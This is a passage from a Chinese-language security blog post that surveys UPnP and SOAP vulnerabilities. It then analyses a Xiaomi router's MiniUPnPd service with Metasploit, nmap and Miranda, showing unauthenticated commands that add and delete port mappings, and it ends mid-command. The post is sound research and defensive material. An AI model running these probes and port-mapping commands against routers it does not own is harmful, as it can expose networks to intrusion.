SSDP解析<br>• OS命令注入<br>• 信息披露</li><li>SOAP服务<br>• HTTP头解析<br>• XML解析<br>• 注射用品<br>• OS命令<br>• SQL注入<br>• SOAP注入<br>• 信息披露<br>• 可疑级别的未经身份验证的设备控制<h2 id="Attack-surface--UPnP"><a href="#Attack-surface--UPnP" class="headerlink" title="Attack surface UPnP"></a>Attack surface UPnP</h2></li><li><p><a href="https://community.rapid7.com/docs/DOC-2150" target="_blank" rel="noopener">CVE-2012-5958</a><br>去年由HD Moore众多之一披露调用strncpy将ST头中的字符串复制到TempBuf[COMMAND_LEN]strncpy的长度参数基于冒号之间的字符数<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555580242/paper/6.png" alt></p></li><li><p>D-Link DIR-815 <a href="http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html" target="_blank" rel="noopener">UPnP命令注入</a><br>去年由Zach Cutlip披露;ST头的内容作为参数传递给M-SEARCH.sh;无需验证<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555580904/paper/7.png" alt></p></li></ul><h2 id="Attack-surface--SOAP"><a href="#Attack-surface--SOAP" class="headerlink" title="Attack surface SOAP"></a>Attack surface SOAP</h2><ul><li><p>XBMC soap_action_name<a href="http://www.exploit-db.com/exploits/15347/" target="_blank" rel="noopener">缓冲区溢出</a><br>由n00b于2010年10月公布;ProcessHttpPostRequest函数分配静态大小的缓冲区;调用sscanf将SOAPAction标头的值复制到其中没有边界检查<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555581152/paper/8.png" alt></p></li><li><p>博通SetConnectionType<a href="http://sebug.net/paper/Exploits-Archives/2013-exploits/1301-exploits/DC-2013-01-003.txt" target="_blank" rel="noopener">格式字符串漏洞</a><br>去年Leon Juranic和Vedran Kajic透露SetConnectionType操作将NewConnectionType参数的值提供给snprintf不对用户控制的值进行检查<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555581385/paper/9.png" alt></p></li><li><p><a href="http://www.pnigos.com/?p=260" target="_blank" rel="noopener">CVE-2014-3242</a><br>今年早些时候由pnig0s披露;SOAPpy允许在SOAP请求中声明用户定义的XML外部实体;不对用户控制的值进行检查<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555581672/paper/10.png" alt></p></li><li><p><a href="http://seclists.org/fulldisclosure/2014/May/32" target="_blank" rel="noopener">CVE-2014-2928</a><br>Brandon Perry今年早些时候公布了PBerry Crunch;F5 iControl API set_hostname操作将hostname参数的值传递给shell;再一次,不对用户控制的值进行消毒<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555581840/paper/11.png" alt></p></li><li><p><a href="http://toor.do/DEFCON-19-Garcia-UPnP-Mapping-WP.pdf" target="_blank" rel="noopener">CVE-2011-4499CVE-2011-4500CVE-2011-4501CVE-2011-4503CVE-2011-4504CVE-2011-4505CVE-2011-4506更多</a><br>Daniel Garcia在Defcon 19上披露; UPnP IGD 使用AddPortMapping和DeletePortMapping等操作来允许远程管理路由规则;缺乏身份验证可在WAN接口上使用; 使攻击者能够执行•NAT遍历 •外部/内部主机端口映射 •内部LAN的外部网络扫描</p></li></ul><h2 id="如何测试"><a href="#如何测试" class="headerlink" title="如何测试"></a>如何测试</h2><ul><li>了解您的网络<br>M-SEARCH你连接的每个网络以监听新的NOTIFY消息</li><li>如果您不需要UPnP请将其禁用<br>如果不在设备上,则在路由器上</li><li>随时掌握固件更新<br>并非总是自动的</li><li>模糊测试<br>Burp <a href="http://portswigger.net/burp/" target="_blank" rel="noopener">http://portswigger.net/burp/</a><br>WSFuzzer <a href="https://www.owasp.org/index.php/Category:OWASP_WSFuzzer_Project" target="_blank" rel="noopener">https://www.owasp.org/index.php/Category:OWASP_WSFuzzer_Project</a><br>Miranda <a href="http://code.google.com/p/miranda-upnp/" target="_blank" rel="noopener">http://code.google.com/p/miranda-upnp/</a></li></ul><h1 id="对小米WIFI路由器的UPnP分析"><a href="#对小米WIFI路由器的UPnP分析" class="headerlink" title="对小米WIFI路由器的UPnP分析"></a>对小米WIFI路由器的UPnP分析</h1><h2 id="使用工具扫描"><a href="#使用工具扫描" class="headerlink" title="使用工具扫描"></a>使用工具扫描</h2><h3 id="使用Metasploit检查"><a href="#使用Metasploit检查" class="headerlink" title="使用Metasploit检查"></a>使用Metasploit检查</h3><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br><span class="line">msf5 &gt; use auxiliary/scanner/upnp/ssdp_msearch</span><br><span class="line">msf5 auxiliary(scanner/upnp/ssdp_msearch) &gt; set RHOSTS <span class="number">192.168</span><span class="meta">.31</span><span class="meta">.0</span>/<span class="number">24</span></span><br><span class="line">RHOSTS =&gt; <span class="number">192.168</span><span class="meta">.31</span><span class="meta">.0</span>/<span class="number">24</span></span><br><span class="line">msf5 auxiliary(scanner/upnp/ssdp_msearch) &gt; run</span><br><span class="line"></span><br><span class="line">[*] Sending UPnP SSDP probes to <span class="number">192.168</span><span class="meta">.31</span><span class="meta">.0</span>-&gt;<span class="number">192.168</span><span class="meta">.31</span><span class="meta">.255</span> (<span class="number">256</span> hosts)</span><br><span class="line">[*] <span class="number">192.168</span><span class="meta">.31</span><span class="meta">.1</span>:<span class="number">1900</span> SSDP MiWiFi/x UPnP/<span class="number">1.1</span> MiniUPnPd/<span class="number">2.0</span> | http://<span class="number">192.168</span><span class="meta">.31</span><span class="meta">.1</span>:<span class="number">5351</span>/rootDesc.xml | uuid:f3539dd5-8dc5-420c-<span class="number">9070</span>-c6f66d27fc8c::upnp:rootdevice</span><br><span class="line">[*] Scanned <span class="number">256</span> of <span class="number">256</span> hosts (<span class="number">100</span>% complete)</span><br><span class="line">[*] Auxiliary module execution completed</span><br></pre></td></tr></table></figure><p>从中可以得到这些信息:</p><ul><li>UPnP/1.1</li><li>MiniUPnPd/2.0</li></ul><h3 id="使用nmap进行扫描"><a href="#使用nmap进行扫描" class="headerlink" title="使用nmap进行扫描"></a>使用nmap进行扫描</h3><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">nmap -p19005351 192.168.31.1</span><br><span class="line"></span><br><span class="line">PORT STATE SERVICE</span><br><span class="line">1900/tcp filtered upnp</span><br><span class="line">5351/tcp open nat-pmp</span><br></pre></td></tr></table></figure><p><strong><em>nat-pmp</em></strong><br>NAT端口映射协议英语NAT Port Mapping Protocol缩写NAT-PMP是一个能自动创建网络地址转换NAT设置和端口映射配置而无需用户介入的网络协议。该协议能自动测定NAT网关的外部IPv4地址并为应用程序提供与对等端交流通信的方法。NAT-PMP于2005年由苹果公司推出为更常见的ISO标准互联网网关设备协议被许多NAT路由器实现的一个替代品。该协议由互联网工程任务组IETF在RFC 6886中发布。<br>NAT-PMP使用用户数据报协议UDP在5351端口运行。该协议没有内置的身份验证机制因为转发一个端口通常不允许任何活动也不能用STUN方法实现。NAT-PMP相比STUN的好处是它不需要STUN服务器并且NAT-PMP映射有一个已知的过期时间应用可以避免低效地发送保活数据包。<br>NAT-PMP是端口控制协议PCP的前身。<br><a href="https://laucyun.com/25118b151a3386b7beff250835fe7e98.html" target="_blank" rel="noopener">https://laucyun.com/25118b151a3386b7beff250835fe7e98.html</a><br>2014年10月Rapid7安全研究员Jon Hart公布因厂商对NAT-PMP协议设计不当估计公网上有1200万台网络设备受到NAT-PMP漏洞的影响。NAT-PMP协议的规范中特别指明NAT网关不能接受来自外网的地址映射请求但一些厂商的设计并未遵守此规定。黑客可能对这些设备进行恶意的端口映射进行流量反弹、代理等攻击。</p><h3 id="netstat扫描"><a href="#netstat扫描" class="headerlink" title="netstat扫描"></a>netstat扫描</h3><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Proto Recv-Q Send-Q Local<span class="built_in"> Address </span> Foreign<span class="built_in"> Address </span> State <span class="keyword">in</span> out PID/Program name</span><br><span class="line">tcp 0 0 :::5351 :::* LISTEN 0 0 18068/miniupnpd</span><br><span class="line">udp 0 0 192.168.31.1:5351 0.0.0.0:* 0 0 18068/miniupnpd</span><br><span class="line">udp 0 0 0.0.0.0:1900 0.0.0.0:* 1414113 1827652 18068/miniupnpd</span><br></pre></td></tr></table></figure><p>端口1900在UPnP发现的过程中使用5351通常为端口映射协议NAT-PMP运行的端口</p><h3 id="miranda"><a href="#miranda" class="headerlink" title="miranda"></a><a href="https://www.ethicalhacker.net/columns/heffner/plug-n-play-network-hacking/" target="_blank" rel="noopener">miranda</a></h3><figure class="highlight ada"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br></pre></td><td class="code"><pre><span class="line">sudo python2 miranda.py -i wlx44334c388fbd -v</span><br><span class="line"></span><br><span class="line">Miranda v1.<span class="number">3</span></span><br><span class="line">The interactive UPnP client</span><br><span class="line">Craig Heffner, http://www.devttys0.com</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Binding to <span class="keyword">interface</span> wlx44334c388fbd ...</span><br><span class="line"></span><br><span class="line">Verbose mode enabled!</span><br><span class="line">upnp&gt; msearch</span><br><span class="line"></span><br><span class="line">Entering discovery mode <span class="keyword">for</span> <span class="symbol">'upnp</span>:rootdevice', Ctl+C to stop...</span><br><span class="line"></span><br><span class="line">****************************************************************</span><br><span class="line">SSDP reply message from <span class="number">192.168</span>.<span class="number">31.1</span>:<span class="number">5351</span></span><br><span class="line">XML file <span class="keyword">is</span> located <span class="keyword">at</span> http://<span class="number">192.168</span>.<span class="number">31.1</span>:<span class="number">5351</span>/rootDesc.xml</span><br><span class="line">Device <span class="keyword">is</span> running MiWiFi/x UPnP/<span class="number">1.1</span> MiniUPnPd/<span class="number">2.0</span></span><br><span class="line">****************************************************************</span><br><span class="line"></span><br><span class="line">upnp&gt; host get <span class="number">0</span></span><br><span class="line"></span><br><span class="line">Requesting device <span class="keyword">and</span> service info <span class="keyword">for</span> <span class="number">192.168</span>.<span class="number">31.1</span>:<span class="number">5351</span> (this could take a few seconds)...</span><br><span class="line"></span><br><span class="line">Device urn:schemas-upnp-org:device:WANDevice:<span class="number">1</span> does <span class="keyword">not</span> have a presentationURL</span><br><span class="line">Device urn:schemas-upnp-org:device:WANConnectionDevice:<span class="number">1</span> does <span class="keyword">not</span> have a presentationURL</span><br><span class="line">Host data enumeration complete!</span><br><span class="line"></span><br><span class="line">upnp&gt; host list</span><br><span class="line"></span><br><span class="line">[<span class="number">0</span>] <span class="number">192.168</span>.<span class="number">31.1</span>:<span class="number">5351</span></span><br><span class="line"></span><br><span class="line">upnp&gt; host info <span class="number">0</span></span><br><span class="line"></span><br><span class="line">xmlFile : <span class="type">http</span>://<span class="number">192.168</span>.<span class="number">31.1</span>:<span class="number">5351</span>/rootDesc.xml</span><br><span class="line">name : 192.168.31.1:5351</span><br><span class="line">proto : <span class="type">http</span>://</span><br><span class="line">serverType : <span class="type">MiWiFi</span>/x UPnP/<span class="number">1.1</span> MiniUPnPd/<span class="number">2.0</span></span><br><span class="line">upnpServer : <span class="type">MiWiFi</span>/x UPnP/<span class="number">1.1</span> MiniUPnPd/<span class="number">2.0</span></span><br><span class="line">dataComplete : <span class="type">True</span></span><br><span class="line">deviceList : &#123;&#125;</span><br><span class="line"></span><br><span class="line">upnp&gt; host info <span class="number">0</span> deviceList</span><br><span class="line"></span><br><span class="line">InternetGatewayDevice : &#123;&#125;</span><br><span class="line">WANDevice : &#123;&#125;</span><br><span class="line">WANConnectionDevice : &#123;&#125;</span><br><span class="line"></span><br><span class="line">upnp&gt; host info <span class="number">0</span> deviceList WANConnectionDevice</span><br><span class="line"></span><br><span class="line"> manufacturerURL : <span class="type">http</span>://miniupnp.free.fr/</span><br><span class="line"> modelName : <span class="type">MiniUPnPd</span></span><br><span class="line"> UPC : 000000000000</span><br><span class="line"> modelNumber : 20180830</span><br><span class="line"> friendlyName : <span class="type">WANConnectionDevice</span></span><br><span class="line"> fullName : <span class="type">urn</span>:schemas-upnp-org:device:WANConnectionDevice:<span class="number">1</span></span><br><span class="line"> modelDescription : <span class="type">MiniUPnP</span> daemon</span><br><span class="line"> UDN : <span class="type">uuid</span>:f3539dd5-<span class="number">8</span>dc5-<span class="number">420</span>c-<span class="number">9070</span>-c6f66d27fc8e</span><br><span class="line"> modelURL : <span class="type">http</span>://miniupnp.free.fr/</span><br><span class="line"> manufacturer : <span class="type">MiniUPnP</span></span><br><span class="line"> services : &#123;&#125;</span><br><span class="line"></span><br><span class="line">upnp&gt; host info <span class="number">0</span> deviceList WANConnectionDevice services WANIPConnection</span><br><span class="line"></span><br><span class="line"> eventSubURL : /<span class="type">evt</span>/IPConn</span><br><span class="line"> controlURL : /<span class="type">ctl</span>/IPConn</span><br><span class="line"> serviceId : <span class="type">urn</span>:upnp-org:serviceId:WANIPConn1</span><br><span class="line"> SCPDURL : /<span class="type">WANIPCn.xml</span></span><br><span class="line"> fullName : <span class="type">urn</span>:schemas-upnp-org:service:WANIPConnection:<span class="number">1</span></span><br><span class="line"> actions : &#123;&#125;</span><br><span class="line"> serviceStateVariables : &#123;&#125;</span><br><span class="line"></span><br><span class="line">upnp&gt; host info <span class="number">0</span> deviceList WANConnectionDevice services WANIPConnection actions</span><br><span class="line"></span><br><span class="line"> AddPortMapping : &#123;&#125;</span><br><span class="line"> GetNATRSIPStatus : &#123;&#125;</span><br><span class="line"> GetGenericPortMappingEntry : &#123;&#125;</span><br><span class="line"> GetSpecificPortMappingEntry : &#123;&#125;</span><br><span class="line"> ForceTermination : &#123;&#125;</span><br><span class="line"> GetExternalIPAddress : &#123;&#125;</span><br><span class="line"> GetConnectionTypeInfo : &#123;&#125;</span><br><span class="line"> GetStatusInfo : &#123;&#125;</span><br><span class="line"> SetConnectionType : &#123;&#125;</span><br><span class="line"> DeletePortMapping : &#123;&#125;</span><br><span class="line"> RequestConnection : &#123;&#125;</span><br><span class="line"></span><br><span class="line">upnp&gt; host info <span class="number">0</span> deviceList WANConnectionDevice services WANIPConnection serviceStateVariables</span><br><span class="line"></span><br><span class="line"> InternalClient : &#123;&#125;</span><br><span class="line"> Uptime : &#123;&#125;</span><br><span class="line"> PortMappingLeaseDuration : &#123;&#125;</span><br><span class="line"> PortMappingDescription : &#123;&#125;</span><br><span class="line"> RemoteHost : &#123;&#125;</span><br><span class="line"> PossibleConnectionTypes : &#123;&#125;</span><br><span class="line"> ExternalPort : &#123;&#125;</span><br><span class="line"> RSIPAvailable : &#123;&#125;</span><br><span class="line"> ConnectionStatus : &#123;&#125;</span><br><span class="line"> PortMappingNumberOfEntries : &#123;&#125;</span><br><span class="line"> ExternalIPAddress : &#123;&#125;</span><br><span class="line"> ConnectionType : &#123;&#125;</span><br><span class="line"> NATEnabled : &#123;&#125;</span><br><span class="line"> LastConnectionError : &#123;&#125;</span><br><span class="line"> InternalPort : &#123;&#125;</span><br><span class="line"> PortMappingProtocol : &#123;&#125;</span><br><span class="line"> PortMappingEnabled : &#123;&#125;</span><br><span class="line"></span><br><span class="line">upnp&gt; host summary <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> Host: <span class="number">192.168</span>.<span class="number">31.1</span>:<span class="number">5351</span></span><br><span class="line"> XML File: http://<span class="number">192.168</span>.<span class="number">31.1</span>:<span class="number">5351</span>/rootDesc.xml</span><br><span class="line"> InternetGatewayDevice</span><br><span class="line"> manufacturerURL: http://www.mi.com</span><br><span class="line"> modelName: MiWiFi Router</span><br><span class="line"> UPC: <span class="number">000000000000</span></span><br><span class="line"> modelNumber: <span class="number">20180830</span></span><br><span class="line"> presentationURL: http://miwifi.com/</span><br><span class="line"> friendlyName: MiWiFi router</span><br><span class="line"> fullName: urn:schemas-upnp-org:device:InternetGatewayDevice:<span class="number">1</span></span><br><span class="line"> modelDescription: MiWiFi Router</span><br><span class="line"> UDN: uuid:f3539dd5-<span class="number">8</span>dc5-<span class="number">420</span>c-<span class="number">9070</span>-c6f66d27fc8c</span><br><span class="line"> modelURL: http://www1.miwifi.com</span><br><span class="line"> manufacturer: Xiaomi</span><br><span class="line"> WANDevice</span><br><span class="line"> manufacturerURL: http://miniupnp.free.fr/</span><br><span class="line"> modelName: WAN Device</span><br><span class="line"> UPC: <span class="number">000000000000</span></span><br><span class="line"> modelNumber: <span class="number">20180830</span></span><br><span class="line"> friendlyName: WANDevice</span><br><span class="line"> fullName: urn:schemas-upnp-org:device:WANDevice:<span class="number">1</span></span><br><span class="line"> modelDescription: WAN Device</span><br><span class="line"> UDN: uuid:f3539dd5-<span class="number">8</span>dc5-<span class="number">420</span>c-<span class="number">9070</span>-c6f66d27fc8d</span><br><span class="line"> modelURL: http://miniupnp.free.fr/</span><br><span class="line"> manufacturer: MiniUPnP</span><br><span class="line"> WANConnectionDevice</span><br><span class="line"> manufacturerURL: http://miniupnp.free.fr/</span><br><span class="line"> modelName: MiniUPnPd</span><br><span class="line"> UPC: <span class="number">000000000000</span></span><br><span class="line"> modelNumber: <span class="number">20180830</span></span><br><span class="line"> friendlyName: WANConnectionDevice</span><br><span class="line"> fullName: urn:schemas-upnp-org:device:WANConnectionDevice:<span class="number">1</span></span><br><span class="line"> modelDescription: MiniUPnP daemon</span><br><span class="line"> UDN: uuid:f3539dd5-<span class="number">8</span>dc5-<span class="number">420</span>c-<span class="number">9070</span>-c6f66d27fc8e</span><br><span class="line"> modelURL: http://miniupnp.free.fr/</span><br><span class="line"> manufacturer: MiniUPnP</span><br></pre></td></tr></table></figure><ul><li>使用miranda发送UPnP命令<br><strong>获取外部IP地址</strong></li></ul><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">upnp</span>&gt; <span class="selector-tag">host</span> <span class="selector-tag">send</span> 0 <span class="selector-tag">WANConnectionDevice</span> <span class="selector-tag">WANIPConnection</span> <span class="selector-tag">GetExternalIPAddress</span></span><br><span class="line"></span><br><span class="line"><span class="selector-tag">NewExternalIPAddress</span> : 172<span class="selector-class">.16</span><span class="selector-class">.173</span><span class="selector-class">.231</span></span><br></pre></td></tr></table></figure><p><strong>增加一个端口映射将路由器上端口为1900的服务映射到外网端口8080</strong></p><figure class="highlight gams"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line">upnp&gt; host send <span class="number">0</span> WANConnectionDevice WANIPConnection AddPortMapping</span><br><span class="line"></span><br><span class="line">Required argument:</span><br><span class="line">Argument Name: NewPortMappingDescription</span><br><span class="line">Data Type: string</span><br><span class="line">Allowed Values: []</span><br><span class="line"><span class="keyword">Set</span> NewPortMappingDescription <span class="comment">value to: HACK</span></span><br><span class="line"></span><br><span class="line">Required <span class="comment">argument:</span></span><br><span class="line">Argument <span class="comment">Name: NewLeaseDuration</span></span><br><span class="line">Data <span class="comment">Type: ui4</span></span><br><span class="line">Allowed <span class="comment">Values: []</span></span><br><span class="line">Value <span class="comment">Min: 0</span></span><br><span class="line">Value <span class="comment">Max: 604800</span></span><br><span class="line"><span class="keyword">Set</span> <span class="comment">NewLeaseDuration value to: 0</span></span><br><span class="line"></span><br><span class="line">Required <span class="comment">argument:</span></span><br><span class="line">Argument <span class="comment">Name: NewInternalClient</span></span><br><span class="line">Data <span class="comment">Type: string</span></span><br><span class="line">Allowed <span class="comment">Values: []</span></span><br><span class="line"><span class="keyword">Set</span> <span class="comment">NewInternalClient value to: 192.168.31.1</span></span><br><span class="line"></span><br><span class="line">Required <span class="comment">argument:</span></span><br><span class="line">Argument <span class="comment">Name: NewEnabled</span></span><br><span class="line">Data <span class="comment">Type: boolean</span></span><br><span class="line">Allowed <span class="comment">Values: []</span></span><br><span class="line"><span class="keyword">Set</span> <span class="comment">NewEnabled value to: 1</span></span><br><span class="line"></span><br><span class="line">Required <span class="comment">argument:</span></span><br><span class="line">Argument <span class="comment">Name: NewExternalPort</span></span><br><span class="line">Data <span class="comment">Type: ui2</span></span><br><span class="line">Allowed <span class="comment">Values: []</span></span><br><span class="line"><span class="keyword">Set</span> <span class="comment">NewExternalPort value to: 8080</span></span><br><span class="line"></span><br><span class="line">Required <span class="comment">argument:</span></span><br><span class="line">Argument <span class="comment">Name: NewRemoteHost</span></span><br><span class="line">Data <span class="comment">Type: string</span></span><br><span class="line">Allowed <span class="comment">Values: []</span></span><br><span class="line"><span class="keyword">Set</span> <span class="comment">NewRemoteHost value to:</span></span><br><span class="line"></span><br><span class="line">Required <span class="comment">argument:</span></span><br><span class="line">Argument <span class="comment">Name: NewProtocol</span></span><br><span class="line">Data <span class="comment">Type: string</span></span><br><span class="line">Allowed <span class="comment">Values: [</span><span class="comment">'TCP'</span><span class="comment">,</span> <span class="comment">'UDP'</span><span class="comment">]</span></span><br><span class="line"><span class="keyword">Set</span> <span class="comment">NewProtocol value to: TCP</span></span><br><span class="line"></span><br><span class="line">Required <span class="comment">argument:</span></span><br><span class="line">Argument <span class="comment">Name: NewInternalPort</span></span><br><span class="line">Data <span class="comment">Type: ui2</span></span><br><span class="line">Allowed <span class="comment">Values: []</span></span><br><span class="line">Value <span class="comment">Min: 1</span></span><br><span class="line">Value <span class="comment">Max: 65535</span></span><br><span class="line"><span class="keyword">Set</span> <span class="comment">NewInternalPort value to: 1900</span></span><br></pre></td></tr></table></figure><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">upnp&gt; host send <span class="number">0</span> WANConnectionDevice WANIPConnection GetSpecificPortMappingEntry</span><br><span class="line"></span><br><span class="line"> Required <span class="string">argument:</span></span><br><span class="line"> Argument <span class="string">Name:</span> NewExternalPort</span><br><span class="line"> Data <span class="string">Type:</span> ui2</span><br><span class="line"> Allowed <span class="string">Values:</span> []</span><br><span class="line"> Set NewExternalPort value <span class="string">to:</span> <span class="number">8080</span></span><br><span class="line"></span><br><span class="line"> Required <span class="string">argument:</span></span><br><span class="line"> Argument <span class="string">Name:</span> NewRemoteHost</span><br><span class="line"> Data <span class="string">Type:</span> string</span><br><span class="line"> Allowed <span class="string">Values:</span> []</span><br><span class="line"> Set NewRemoteHost value <span class="string">to:</span></span><br><span class="line"></span><br><span class="line"> Required <span class="string">argument:</span></span><br><span class="line"> Argument <span class="string">Name:</span> NewProtocol</span><br><span class="line"> Data <span class="string">Type:</span> string</span><br><span class="line"> Allowed <span class="string">Values:</span> [<span class="string">'TCP'</span>, <span class="string">'UDP'</span>]</span><br><span class="line"> Set NewProtocol value <span class="string">to:</span> TCP</span><br><span class="line"></span><br><span class="line"> <span class="string">NewPortMappingDescription :</span> HACK</span><br><span class="line"> <span class="string">NewLeaseDuration :</span> <span class="number">0</span></span><br><span class="line"> <span class="string">NewInternalClient :</span> <span class="number">192.168</span><span class="number">.31</span><span class="number">.1</span></span><br><span class="line"> <span class="string">NewEnabled :</span> <span class="number">1</span></span><br><span class="line"> <span class="string">NewInternalPort :</span> <span class="number">1900</span></span><br></pre></td></tr></table></figure><p><strong>可以无需验证地删除映射</strong><br><figure class="highlight autoit"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">upnp&gt; host <span class="built_in">send</span> <span class="number">0</span> WANConnectionDevice WANIPConnection DeletePortMapping</span><br></pre></td></tr></table></figure></p><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555918880/paper/2231.png" alt><br>虽然UPnP是一种很少理解的协议但它在绝大多数家庭网络上都很活跃甚至在某些公司网络上也是如此。许多设备支持UPnP以便于消费者使用但是它们通常支持不允许任何服务自动执行的操作尤其是未经授权的情况下。更糟糕的是协议实现本身很少以安全思维构建使其可以进一步利用。<br>防止本地/远程利用UPnP的最佳方法是在任何/所有网络设备上禁用该功能。然而,考虑到这个协议和其他“自动魔术”协议旨在帮助懒惰的用户,他们可能不知道这些协议的危险,唯一真正的解决方案是让供应商更加关注他们的设计和实施,并且更加安全。</p><h2 id="浏览配置文件"><a href="#浏览配置文件" class="headerlink" title="浏览配置文件"></a>浏览配置文件</h2><h3 id="通过find命令搜索"><a href="#通过find命令搜索" class="headerlink" title="通过find命令搜索"></a>通过find命令搜索</h3><pre>root@XiaoQiang:/# find -name 